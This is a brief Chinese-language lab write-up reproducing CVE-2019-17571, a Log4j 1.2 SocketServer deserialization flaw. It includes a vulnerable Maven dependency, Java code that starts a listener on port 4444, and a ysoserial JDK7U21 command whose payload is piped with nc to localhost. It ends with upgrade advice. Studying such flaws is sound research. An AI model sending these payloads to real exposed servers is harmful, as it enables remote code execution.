僅用於研究漏洞原理,禁止用於非法用途,後果自負!!!java
Log4j是美國阿帕奇(Apache)軟件基金會的一款基於Java的開源日誌記錄工具。Log4j 1.2版本中包含一個SocketServer類,在未經驗證的狀況下,該SocketServe類很容易接受序列化的日誌事件並對其進行反序列化,在結合反序列化工具使用時,能夠利用該類遠程執行任意代碼。apache
方便測試,添加JDK7U21的漏洞環境bash
<dependencies> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> </dependencies>
public class CVE_2019_17571 { private static final Logger log = Logger.getLogger(SimpleSocketServer.class); public static void main(String[] args) { System.out.println("start:"); String[] argss = {"4444", "src/log4j.properties"}; SimpleSocketServer.main(argss); log.info("succ"); } }
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser cat poc.ser | nc 127.0.0.1 4444
org.apache.log4j.net.SocketNode#run()
在run()方法中直接進行反序列化
服務器
目前官方已在Apache Log4j 2.8.2版本以後修復了該漏洞,請受影響的用戶升級至2.8.2 或更高的版本進行防禦.socket